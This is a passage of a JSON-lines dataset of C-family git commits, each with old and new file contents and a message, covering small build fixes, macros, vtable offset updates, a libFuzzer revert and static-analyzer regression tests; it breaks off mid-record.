{"commit":"a76075d352b4f48bb53f8d8c9accee841394d47c","old_file":"rgmanager\/src\/clulib\/gettid.c","new_file":"rgmanager\/src\/clulib\/gettid.c","old_contents":"#include <sys\/types.h>\n#include <linux\/unistd.h>\n#include <gettid.h>\n\n_syscall0(pid_t,gettid)\n","new_contents":"#include <sys\/types.h>\n#include <linux\/unistd.h>\n#include <gettid.h>\n#include <errno.h>\n\n_syscall0(pid_t,gettid)\n","subject":"Fix build bug on slackware","message":"Fix build bug on slackware\n","lang":"C","license":"lgpl-2.1","repos":"stevenraspudic\/resource-agents,stevenraspudic\/resource-agents,asp24\/resource-agents,asp24\/resource-agents,asp24\/resource-agents,stevenraspudic\/resource-agents"}
{"commit":"6a88bb91e0cd4b3ee0c31b6b01ed956a060ec029","old_file":"include\/polar\/util\/pack.h","new_file":"include\/polar\/util\/pack.h","old_contents":"","new_contents":"#pragma once\n\n#ifdef _MSC_VER\n#define PACK(DECL) __pragma(pack(push, 1)) DECL __pragma(pack(pop))\n#else\n#define PACK(DECL) DECL __attribute__((__packed__))\n#endif\n","subject":"Define PACK macro for structs and etc","message":"Define PACK macro for structs and etc\n","lang":"C","license":"mpl-2.0","repos":"shockkolate\/polar4,shockkolate\/polar4,shockkolate\/polar4,polar-engine\/polar,shockkolate\/polar4,polar-engine\/polar"}
{"commit":"20d1f97bcd048cf544e0313241a60f4001d8d51b","old_file":"include\/atomic\/gcc_libatomic.h","new_file":"include\/atomic\/gcc_libatomic.h","old_contents":"","new_contents":"#ifndef ATOMIC_GCC_BUILTINS_INCLUDED\n#define ATOMIC_GCC_BUILTINS_INCLUDED\n\/*Modified by David Lowes 2015 - Zend Technologies LTD. LICENSE??*\/\n#define make_atomic_add_body(S)                     \\\n  v=  __atomic_fetch_add(a, v, __ATOMIC_RELAXED);\n#define make_atomic_fas_body(S)                     \\\n  v= __sync_lock_test_and_set(a, v);\n#define make_atomic_cas_body(S)                     \\\n  int ## S sav;                                     \\\n  int ## S cmp_val= *cmp;                           \\\n  sav= __sync_val_compare_and_swap(a, cmp_val, set);\\\n  if (!(ret= (sav == cmp_val))) *cmp= sav\n\n#ifdef MY_ATOMIC_MODE_DUMMY\n#define make_atomic_load_body(S)   ret= *a\n#define make_atomic_store_body(S)  *a= v\n#define MY_ATOMIC_MODE \"gcc-builtins-up\"\n\n#elif defined(HAVE_GCC_C11_ATOMICS)\n#define MY_ATOMIC_MODE \"gcc-atomics-smp\"\n#define make_atomic_load_body(S)                    \\\n  ret= __atomic_load_n(a, __ATOMIC_SEQ_CST)\n#define make_atomic_store_body(S)                   \\\n  __atomic_store_n(a, v, __ATOMIC_SEQ_CST)\n#else\n#define MY_ATOMIC_MODE \"gcc-builtins-smp\"\n#define make_atomic_load_body(S)                    \\\n  ret= __sync_fetch_and_or(a, 0);\n#define make_atomic_store_body(S)                   \\\n  (void) __sync_lock_test_and_set(a, v);\n#endif\n\n#endif \/* ATOMIC_GCC_BUILTINS_INCLUDED *\/\n","subject":"Add implementation of atomic ops with libatomic instead of gcc builtins","message":"Add implementation of atomic ops with libatomic instead of gcc builtins\n","lang":"C","license":"lgpl-2.1","repos":"davidl-zend\/zenddbi,davidl-zend\/zenddbi,davidl-zend\/zenddbi,davidl-zend\/zenddbi,davidl-zend\/zenddbi,davidl-zend\/zenddbi,davidl-zend\/zenddbi,davidl-zend\/zenddbi,davidl-zend\/zenddbi,davidl-zend\/zenddbi,davidl-zend\/zenddbi"}
{"commit":"7803ef3d413f336e40f8b20e256e02902fb9f395","old_file":"SwiftColors\/SwiftColors.h","new_file":"SwiftColors\/SwiftColors.h","old_contents":"#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for SwiftColors.\nFOUNDATION_EXPORT double SwiftColorsVersionNumber;\n\n\/\/! Project version string for SwiftColors.\nFOUNDATION_EXPORT const unsigned char SwiftColorsVersionString[];\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for SwiftColors.\nFOUNDATION_EXPORT double SwiftColorsVersionNumber;\n\n\/\/! Project version string for SwiftColors.\nFOUNDATION_EXPORT const unsigned char SwiftColorsVersionString[];\n","subject":"Fix build error for OSX","message":"Fix build error for OSX\n","lang":"C","license":"mit","repos":"thii\/SwiftHEXColors,thii\/SwiftColors,thii\/SwiftColors,thii\/SwiftHEXColors"}
{"commit":"02815ad97a1a9cac9e580452c9dd24580f277062","old_file":"lib\/fuzzer\/FuzzerRandom.h","new_file":"lib\/fuzzer\/FuzzerRandom.h","old_contents":"\/\/===- FuzzerRandom.h - Internal header for the Fuzzer ----------*- C++ -* ===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ fuzzer::Random\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_FUZZER_RANDOM_H\n#define LLVM_FUZZER_RANDOM_H\n\n#include <random>\n\nnamespace fuzzer {\nclass Random : public std::minstd_rand {\n public:\n  Random(unsigned int seed) : std::minstd_rand(seed) {}\n  result_type operator()() { return this->std::minstd_rand::operator()(); }\n  size_t Rand() { return this->operator()(); }\n  size_t RandBool() { return Rand() % 2; }\n  size_t operator()(size_t n) { return n ? Rand() % n : 0; }\n  intptr_t operator()(intptr_t From, intptr_t To) {\n    assert(From < To);\n    intptr_t RangeSize = To - From + 1;\n    return operator()(RangeSize) + From;\n  }\n};\n\n}  \/\/ namespace fuzzer\n\n#endif  \/\/ LLVM_FUZZER_RANDOM_H\n","new_contents":"\/\/===- FuzzerRandom.h - Internal header for the Fuzzer ----------*- C++ -* ===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ fuzzer::Random\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_FUZZER_RANDOM_H\n#define LLVM_FUZZER_RANDOM_H\n\n#include <random>\n\nnamespace fuzzer {\nclass Random : public std::mt19937 {\n public:\n  Random(unsigned int seed) : std::mt19937(seed) {}\n  result_type operator()() { return this->std::mt19937::operator()(); }\n  size_t Rand() { return this->operator()(); }\n  size_t RandBool() { return Rand() % 2; }\n  size_t operator()(size_t n) { return n ? Rand() % n : 0; }\n  intptr_t operator()(intptr_t From, intptr_t To) {\n    assert(From < To);\n    intptr_t RangeSize = To - From + 1;\n    return operator()(RangeSize) + From;\n  }\n};\n\n}  \/\/ namespace fuzzer\n\n#endif  \/\/ LLVM_FUZZER_RANDOM_H\n","subject":"Revert r352732: [libFuzzer] replace slow std::mt19937 with a much faster std::minstd_rand","message":"Revert r352732: [libFuzzer] replace slow std::mt19937 with a much faster std::minstd_rand\n\nThis causes a failure on the following bot as well as our internal ones:\n\nhttp:\/\/lab.llvm.org:8011\/builders\/sanitizer-x86_64-linux-fuzzer\/builds\/23103\n\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@352747 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"2a422dcba1302b65a4a69bf70aa8e6f8ac6e8d71","old_file":"src\/hooks.h","new_file":"src\/hooks.h","old_contents":"\/*\n *  hooks.h\n *  StatusSpec project\n *  \n *  Copyright (c) 2014 thesupremecommander\n *  BSD 2-Clause License\n *  http:\/\/opensource.org\/licenses\/BSD-2-Clause\n *\n *\/\n\n#pragma once\n\n#include \"stdafx.h\"\n\n#include <map>\n\n#define CLIENT_DLL\n#define GLOWS_ENABLE\n\n#include \"cdll_int.h\"\n#include \"KeyValues.h\"\n#include \"igameresources.h\"\n#include \"vgui\/vgui.h\"\n#include \"vgui\/IPanel.h\"\n#include \"cbase.h\"\n#include \"c_basecombatcharacter.h\"\n#include \"glow_outline_effect.h\"\n\n#include <sourcehook\/sourcehook_impl.h>\n#include <sourcehook\/sourcehook.h>\n\nusing namespace vgui;\n\nclass C_TFPlayer;\n\n#if defined _WIN32\n#define OFFSET_GETGLOWOBJECT 220\n#define OFFSET_GETGLOWEFFECTCOLOR 221\n#define OFFSET_UPDATEGLOWEFFECT 222\n#define OFFSET_DESTROYGLOWEFFECT 223\n#endif\n\nstatic std::map<EHANDLE, int> onDataChangedHooks;\n\nextern SourceHook::ISourceHook *g_SHPtr;\nextern int g_PLID;","new_contents":"\/*\n *  hooks.h\n *  StatusSpec project\n *  \n *  Copyright (c) 2014 thesupremecommander\n *  BSD 2-Clause License\n *  http:\/\/opensource.org\/licenses\/BSD-2-Clause\n *\n *\/\n\n#pragma once\n\n#include \"stdafx.h\"\n\n#include <map>\n\n#define CLIENT_DLL\n#define GLOWS_ENABLE\n\n#include \"cdll_int.h\"\n#include \"KeyValues.h\"\n#include \"igameresources.h\"\n#include \"vgui\/vgui.h\"\n#include \"vgui\/IPanel.h\"\n#include \"cbase.h\"\n#include \"c_basecombatcharacter.h\"\n#include \"glow_outline_effect.h\"\n\n#include <sourcehook\/sourcehook_impl.h>\n#include <sourcehook\/sourcehook.h>\n\nusing namespace vgui;\n\nclass C_TFPlayer;\n\n#if defined _WIN32\n#define OFFSET_GETGLOWEFFECTCOLOR 223\n#define OFFSET_UPDATEGLOWEFFECT 224\n#define OFFSET_DESTROYGLOWEFFECT 225\n#endif\n\nstatic std::map<EHANDLE, int> onDataChangedHooks;\n\nextern SourceHook::ISourceHook *g_SHPtr;\nextern int g_PLID;","subject":"Update vtable offsets for 2014-06-11 TF2 update.","message":"Update vtable offsets for 2014-06-11 TF2 update.\n","lang":"C","license":"bsd-2-clause","repos":"fwdcp\/StatusSpec,fwdcp\/StatusSpec"}
{"commit":"8a8e7bb8f5de8c86d4e06ba934253bd355fa98dc","old_file":"libc\/sysdeps\/linux\/m68k\/ptrace.c","new_file":"libc\/sysdeps\/linux\/m68k\/ptrace.c","old_contents":"\n#include <errno.h>\n#include <asm\/ptrace.h>\n#include <sys\/syscall.h>\n\nint\nptrace(int request, int pid, int addr, int data)\n{\n\tlong ret;\n\tlong res;\n\tif (request > 0 && request < 4) (long *)data = &ret;\n\n\t__asm__ volatile (\"movel %1,%\/d0\\n\\t\"\n\t\t\t  \"movel %2,%\/d1\\n\\t\"\n\t\t\t  \"movel %3,%\/d2\\n\\t\"\n\t\t\t  \"movel %4,%\/d3\\n\\t\"\n\t\t\t  \"movel %5,%\/d4\\n\\t\"\n\t\t\t  \"trap  #0\\n\\t\"\n\t\t\t  \"movel %\/d0,%0\"\n\t\t:\"=g\" (res)\n\t\t:\"i\" (__NR_ptrace), \"g\" (request), \"g\" (pid),\n\t\t \"g\" (addr), \"g\" (data) : \"%d0\", \"%d1\", \"%d2\", \"%d3\", \"%d4\");\n\n\tif (res >= 0) {\n\t\tif (request > 0 && request < 4) {\n\t\t\t__set_errno(0);\n\t\t\treturn (ret);\n\t\t}\n\t\treturn (int) res;\n\t}\n\t__set_errno(-res);\n\treturn -1;\n}\n","new_contents":"\n#include <errno.h>\n#include <asm\/ptrace.h>\n#include <sys\/syscall.h>\n\nint\nptrace(int request, int pid, int addr, int data)\n{\n\tlong ret;\n\tlong res;\n\tif (request > 0 && request < 4) data = (int)&ret;\n\n\n\t__asm__ volatile (\"movel %1,%\/d0\\n\\t\"\n\t\t\t  \"movel %2,%\/d1\\n\\t\"\n\t\t\t  \"movel %3,%\/d2\\n\\t\"\n\t\t\t  \"movel %4,%\/d3\\n\\t\"\n\t\t\t  \"movel %5,%\/d4\\n\\t\"\n\t\t\t  \"trap  #0\\n\\t\"\n\t\t\t  \"movel %\/d0,%0\"\n\t\t:\"=g\" (res)\n\t\t:\"i\" (__NR_ptrace), \"g\" (request), \"g\" (pid),\n\t\t \"g\" (addr), \"g\" (data) : \"%d0\", \"%d1\", \"%d2\", \"%d3\", \"%d4\");\n\n\tif (res >= 0) {\n\t\tif (request > 0 && request < 4) {\n\t\t\t__set_errno(0);\n\t\t\treturn (ret);\n\t\t}\n\t\treturn (int) res;\n\t}\n\t__set_errno(-res);\n\treturn -1;\n}\n","subject":"Patch from Bernardo Innocenti: Remove use of cast-as-l-value extension, removed in GCC 3.5.","message":"Patch from Bernardo Innocenti:\nRemove use of cast-as-l-value extension, removed in GCC 3.5.\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"46f09018af4d5f935a4a7d12f6a62ed7f55b3e5c","old_file":"inc\/libutils\/type\/rect_utils.h","new_file":"inc\/libutils\/type\/rect_utils.h","old_contents":"","new_contents":"\/*\n * rect_utils.h\n *\n * Author: Ming Tsang\n * Copyright (c) 2014 Ming Tsang\n * Refer to LICENSE for details\n *\/\n\n#pragma once\n\n#include <cstdint>\n\n#include \"libutils\/type\/coord.h\"\n#include \"libutils\/type\/rect.h\"\n\nnamespace utils\n{\nnamespace type\n{\n\nclass RectUtils\n{\npublic:\n\t\/**\n\t * Return whether @a point is rested inside @a rect\n\t *\n\t * @param rect\n\t * @param point\n\t * @return\n\t * @see IsInsidePx()\n\t *\/\n\tstatic bool IsInside(const Rect &rect, const Coord &point)\n\t{\n\t\treturn (point.x > rect.coord.x\n\t\t\t\t&& point.x < static_cast<int32_t>(rect.coord.x + rect.size.w)\n\t\t\t\t&& point.y > rect.coord.y\n\t\t\t\t&& point.y < static_cast<int32_t>(rect.coord.y + rect.size.h));\n\t}\n\n\t\/**\n\t * Return whether a pixel at @a point is rested inside an image region\n\t * @a rect. The difference between IsInsidePx() and IsInside() is that\n\t * the top and left edges are inclusive in this method, useful when dealing\n\t * with pixel\n\t *\n\t * @param rect\n\t * @param point\n\t * @return\n\t * @see IsInside()\n\t *\/\n\tstatic bool IsInsidePx(const Rect &rect, const Coord &point)\n\t{\n\t\treturn (point.x >= rect.coord.x\n\t\t\t\t&& point.x < static_cast<int32_t>(rect.coord.x + rect.size.w)\n\t\t\t\t&& point.y >= rect.coord.y\n\t\t\t\t&& point.y < static_cast<int32_t>(rect.coord.y + rect.size.h));\n\t}\n};\n\n}\n}\n","subject":"Add utility to check whether a point is inside a rect","message":"Add utility to check whether a point is inside a rect","lang":"C","license":"mit","repos":"nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils"}
{"commit":"d0436f27fd7bc254715e1b3b9cc6aae5ff9d4783","old_file":"src\/shims.c","new_file":"src\/shims.c","old_contents":"\/*\n * Copyright (c) 2013-2016 Apple Inc. All rights reserved.\n *\n * @APPLE_APACHE_LICENSE_HEADER_START@\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * @APPLE_APACHE_LICENSE_HEADER_END@\n *\/\n\n#include \"internal.h\"\n#include \"shims.h\"\n\n#if !HAVE_STRLCPY\nsize_t strlcpy(char *dst, const char *src, size_t size) {\n\tsize_t res = strlen(dst) + strlen(src) + 1;\n\tif (size > 0) {\n\t\tsize_t n = size - 1;\n\t\tstrncpy(dst, src, n);\n\t\tdst[n] = 0;\n\t}\n\treturn res;\n}\n#endif\n","new_contents":"\/*\n * Copyright (c) 2013-2016 Apple Inc. All rights reserved.\n *\n * @APPLE_APACHE_LICENSE_HEADER_START@\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n * @APPLE_APACHE_LICENSE_HEADER_END@\n *\/\n\n#include \"internal.h\"\n#include \"shims.h\"\n\n#if !HAVE_STRLCPY\nsize_t strlcpy(char *dst, const char *src, size_t size)\n{\n\tsize_t res = strlen(dst) + strlen(src) + 1;\n\tif (size > 0) {\n\t\tsize_t n = size - 1;\n\t\tstrncpy(dst, src, n);\n\t\tdst[n] = 0;\n\t}\n\treturn res;\n}\n#endif\n","subject":"Fix formatting to match libdispatch coding style.","message":"Fix formatting to match libdispatch coding style.\n\nSigned-off-by: Daniel A. Steffen <bc823475b60dbcbd7be1bbdfe095b5f1939d5bd2@apple.com>\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-corelibs-libdispatch,apple\/swift-corelibs-libdispatch,apple\/swift-corelibs-libdispatch,apple\/swift-corelibs-libdispatch"}
{"commit":"952c546f11ca06f572a25b6b85a8b49523a580f9","old_file":"src\/lib\/lib.h","new_file":"src\/lib\/lib.h","old_contents":"#ifndef __LIB_H\n#define __LIB_H\n\n\/* default lib includes *\/\n#ifdef HAVE_CONFIG_H\n#  include \"config.h\"\n#endif\n\n\/* default system includes - keep these at minimum.. *\/\n#include <string.h> \/* strcmp() etc. *\/\n#ifdef HAVE_STRINGS_H\n#  include <strings.h> \/* strcasecmp() etc. *\/\n#endif\n#include <stdarg.h> \/* va_list is used everywhere *\/\n#include <limits.h> \/* INT_MAX, etc. *\/\n#include <errno.h> \/* error checking is good *\/\n#include <sys\/types.h> \/* many other includes want this *\/\n\n#ifdef HAVE_STDINT_H\n#  include <stdint.h> \/* C99 int types, we mostly need uintmax_t *\/\n#endif\n\n#include \"compat.h\"\n#include \"macros.h\"\n#include \"failures.h\"\n\n#include \"data-stack.h\"\n#include \"mempool.h\"\n#include \"imem.h\"\n\ntypedef struct buffer buffer_t;\ntypedef struct buffer string_t;\n\nstruct istream;\nstruct ostream;\n\n#include \"array-decl.h\" \/* ARRAY_DEFINE()s may exist in any header *\/\n#include \"strfuncs.h\"\n\nsize_t nearest_power(size_t num);\n\nvoid lib_init(void);\nvoid lib_deinit(void);\n\n#endif\n","new_contents":"#ifndef __LIB_H\n#define __LIB_H\n\n\/* default lib includes *\/\n#ifdef HAVE_CONFIG_H\n#  include \"config.h\"\n#endif\n\n\/* default system includes - keep these at minimum.. *\/\n#include <stddef.h> \/* Solaris defines NULL wrong unless this is used *\/\n#include <string.h> \/* strcmp() etc. *\/\n#ifdef HAVE_STRINGS_H\n#  include <strings.h> \/* strcasecmp() etc. *\/\n#endif\n#include <stdarg.h> \/* va_list is used everywhere *\/\n#include <limits.h> \/* INT_MAX, etc. *\/\n#include <errno.h> \/* error checking is good *\/\n#include <sys\/types.h> \/* many other includes want this *\/\n\n#ifdef HAVE_STDINT_H\n#  include <stdint.h> \/* C99 int types, we mostly need uintmax_t *\/\n#endif\n\n#include \"compat.h\"\n#include \"macros.h\"\n#include \"failures.h\"\n\n#include \"data-stack.h\"\n#include \"mempool.h\"\n#include \"imem.h\"\n\ntypedef struct buffer buffer_t;\ntypedef struct buffer string_t;\n\nstruct istream;\nstruct ostream;\n\n#include \"array-decl.h\" \/* ARRAY_DEFINE()s may exist in any header *\/\n#include \"strfuncs.h\"\n\nsize_t nearest_power(size_t num);\n\nvoid lib_init(void);\nvoid lib_deinit(void);\n\n#endif\n","subject":"Include stddef.h always to make NULL expand correctly in Solaris.","message":"Include stddef.h always to make NULL expand correctly in Solaris.\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"d6f1a139af99a84b70db7aa21f19b355a7743c1c","old_file":"java\/include\/pstore-jni.h","new_file":"java\/include\/pstore-jni.h","old_contents":"#ifndef PSTOREJNI_H\n#define PSTOREJNI_H\n\n#include <inttypes.h>\n\n#ifdef __i386__\n  #define LONG_TO_PTR(ptr) (void *) (uint32_t) ptr\n#elif __X86_64__\n  #define LONG_TO_PTR(ptr) (void *) ptr\n#endif\n\n#define PTR_TO_LONG(ptr) (long) ptr\n\n#endif\n","new_contents":"#ifndef PSTOREJNI_H\n#define PSTOREJNI_H\n\n#include <inttypes.h>\n\n#ifdef __i386__\n  #define LONG_TO_PTR(ptr) (void *) (uint32_t) ptr\n#elif __x86_64__\n  #define LONG_TO_PTR(ptr) (void *) ptr\n#endif\n\n#define PTR_TO_LONG(ptr) (long) ptr\n\n#endif\n","subject":"Use '__x86_64__' instead of '__X86_64__'","message":"java: Use '__x86_64__' instead of '__X86_64__'\n\nThis fixes compilation error on Mac OS X.\n\nSigned-off-by: Kare Nuorteva <9ddc85c347529f7b35a7cd6b44bef03c7222a8be@reaktor.fi>\nSigned-off-by: Karim Osman <94396faf6cc817be76165477038b3cfa832e89a4@reaktor.fi>\nSigned-off-by: Pekka Enberg <add4fcd06328a394f0ad91feda7ee057316dc5ed@kernel.org>\n","lang":"C","license":"lgpl-2.1","repos":"penberg\/pstore,penberg\/pstore,penberg\/pstore,penberg\/pstore"}
{"commit":"34ea5331f8e05dacf356096dfc1b63682fa78654","old_file":"Wikipedia\/Code\/BITHockeyManager+WMFExtensions.h","new_file":"Wikipedia\/Code\/BITHockeyManager+WMFExtensions.h","old_contents":"#import <HockeySDK\/HockeySDK.h>\n\n@interface BITHockeyManager (WMFExtensions) <BITHockeyManagerDelegate>\n\n\/**\n *  Configure and startup in one line.\n *  This will call the methods below as part of the configuration process.\n *  This method will use the current bundle id of the app\n *\/\n- (void)wmf_setupAndStart;\n\n\/**\n *  Configure the alert to be displayed when a user is prompeted to send a crash report\n *\/\n- (void)wmf_setupCrashNotificationAlert;\n\n@end\n","new_contents":"@import HockeySDK;\n\n@interface BITHockeyManager (WMFExtensions) <BITHockeyManagerDelegate>\n\n\/**\n *  Configure and startup in one line.\n *  This will call the methods below as part of the configuration process.\n *  This method will use the current bundle id of the app\n *\/\n- (void)wmf_setupAndStart;\n\n\/**\n *  Configure the alert to be displayed when a user is prompeted to send a crash report\n *\/\n- (void)wmf_setupCrashNotificationAlert;\n\n@end\n","subject":"Revert \"use old import syntax for HockeySDK\"","message":"Revert \"use old import syntax for HockeySDK\"\n\nThis reverts commit 0babdd70b3ab330f032790521002f2e171fcf3e6.\n","lang":"C","license":"mit","repos":"wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia"}
{"commit":"70961ee3265e37813c4fb89dfd7a5660ae4b189a","old_file":"src\/include\/sys\/interrupt.h","new_file":"src\/include\/sys\/interrupt.h","old_contents":"\/\/  IBM_PROLOG_BEGIN_TAG\n\/\/  This is an automatically generated prolog.\n\/\/\n\/\/  $Source: src\/include\/sys\/interrupt.h $\n\/\/\n\/\/  IBM CONFIDENTIAL\n\/\/\n\/\/  COPYRIGHT International Business Machines Corp. 2011\n\/\/\n\/\/  p1\n\/\/\n\/\/  Object Code Only (OCO) source materials\n\/\/  Licensed Internal Code Source Materials\n\/\/  IBM HostBoot Licensed Internal Code\n\/\/\n\/\/  The source code for this program is not published or other-\n\/\/  wise divested of its trade secrets, irrespective of what has\n\/\/  been deposited with the U.S. Copyright Office.\n\/\/\n\/\/  Origin: 30\n\/\/\n\/\/  IBM_PROLOG_END\n#ifndef __INTERRUPT_H\n#define __INTERRUPT_H\n\n\nextern const char* INTR_MSGQ;\n\n\/**\n * INTR constants\n *\/\nenum\n{\n    ICPBAR_SCOM_ADDR = 0x020109c9,      \/\/!< for P8, P7 = 0x02011C09\n    \/\/ This BAR value agrees with simics (for now)\n    ICPBAR_VAL = 0x03FBFF90,            \/\/!< ICPBAR value bits[0:29]>>34\n};\n\n#endif\n","new_contents":"\/\/  IBM_PROLOG_BEGIN_TAG\n\/\/  This is an automatically generated prolog.\n\/\/\n\/\/  $Source: src\/include\/sys\/interrupt.h $\n\/\/\n\/\/  IBM CONFIDENTIAL\n\/\/\n\/\/  COPYRIGHT International Business Machines Corp. 2011\n\/\/\n\/\/  p1\n\/\/\n\/\/  Object Code Only (OCO) source materials\n\/\/  Licensed Internal Code Source Materials\n\/\/  IBM HostBoot Licensed Internal Code\n\/\/\n\/\/  The source code for this program is not published or other-\n\/\/  wise divested of its trade secrets, irrespective of what has\n\/\/  been deposited with the U.S. Copyright Office.\n\/\/\n\/\/  Origin: 30\n\/\/\n\/\/  IBM_PROLOG_END\n#ifndef __INTERRUPT_H\n#define __INTERRUPT_H\n\n\nextern const char* INTR_MSGQ;\n\n\/**\n * INTR constants\n *\/\nenum\n{\n    ICPBAR_SCOM_ADDR = 0x020109ca,      \/\/!< for P8, P7 = 0x02011C09\n    \/\/ This BAR value agrees with simics (for now)\n    ICPBAR_VAL = 0x03FBFF90,            \/\/!< ICPBAR value bits[0:29]>>34\n};\n\n#endif\n","subject":"Fix IPC BAR scom address","message":"Fix IPC BAR scom address\n\nChange-Id: Ib3e13d892e58faa12082d6a09a1f6b504af44ae5\nReviewed-on: http:\/\/gfw160.austin.ibm.com:8080\/gerrit\/1058\nReviewed-by: Thi N. Tran <25a2bca7ae5a8ea03be09ca8d282480c08c13052@us.ibm.com>\nTested-by: Jenkins Server\nReviewed-by: Mark W. Wenning <32e1305d9513301b64a3e92b63a7c80399d0fb59@us.ibm.com>\nReviewed-by: A. Patrick Williams III <c87e37b1a4035affd737b461af89fb722d635f4d@us.ibm.com>\n","lang":"C","license":"apache-2.0","repos":"Over-enthusiastic\/hostboot,csmart\/hostboot,Over-enthusiastic\/hostboot,csmart\/hostboot,alvintpwang\/hostboot,Over-enthusiastic\/hostboot,open-power\/hostboot,alvintpwang\/hostboot,open-power\/hostboot,alvintpwang\/hostboot,Over-enthusiastic\/hostboot,Over-enthusiastic\/hostboot,alvintpwang\/hostboot,open-power\/hostboot,open-power\/hostboot,csmart\/hostboot,alvintpwang\/hostboot,open-power\/hostboot,csmart\/hostboot,csmart\/hostboot"}
{"commit":"b514f3dcd09f8fb5396061cf0e04e49d41065300","old_file":"tests\/regression\/01-cpa\/47-earlyglobs_precious.c","new_file":"tests\/regression\/01-cpa\/47-earlyglobs_precious.c","old_contents":"","new_contents":"\/\/ PARAM: --set exp.earlyglobs true --set exp.precious_globs[+] \"'g'\"\n\nint g = 10;\nint main(void){\n  g = 100;\n  assert(g==100);\n  return 0;\n}","subject":"Add regression test for exp.precious_globs","message":"Add regression test for exp.precious_globs\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"5f1468573ec04cbfda21e8994f05b120ad955fb4","old_file":"tests\/regression\/34-congruence\/02-constants.c","new_file":"tests\/regression\/34-congruence\/02-constants.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.congruence --disable ana.int.def_exc\n\/\/ This test ensures that operations on constant congr. classes (i.e. classes of the form {k} : arbitrary integer k) yield concrete vals\n\nint main() {\n    \/\/ basic arithmetic operators\n    int a = 1;\n    int b = 2;\n    int c = -1;\n    int d = -2;\n\n    assert (a + b == 3); assert (a + d == -1);\n    assert (a * b == 2); assert (b * c == -2);\n    assert (a \/ b == 0); assert (d \/ c == 2);\n    assert (b % a == 0); assert (d % c == 0);\n    assert (-a == -1); assert (-d == 2);\n\n    \/\/ logical operators\n    int zero = 0;\n    int one = 1;\n\n    unsigned int uns_z = 0;\n\n    assert ((zero || one) == 1); assert ((zero || zero) == 0); assert ((one || one) == 1);\n    assert ((zero && one) == 0); assert ((zero && zero) == 0); assert ((one && one) == 1);\n    assert (!one == 0); assert (!zero == 1);\n\n    \/\/ bitwise operators\n    assert ((zero & zero) == 0); assert ((zero & one) == 0); assert ((one & zero) == 0); assert ((one & one) == 1);\n    assert ((zero | zero) == 0); assert ((zero | one) == 1); assert ((one | zero) == 1); assert ((one | one) == 1);\n    assert ((zero ^ zero) == 0); assert ((zero ^ one) == 1); assert ((one ^ zero) == 1); assert ((one ^ one) == 0);\n    assert (~zero == -1); assert (~uns_z == 4294967295);\n\n    \/\/ shift-left\n    unsigned char m = 136;\n    assert ((m << 1) == 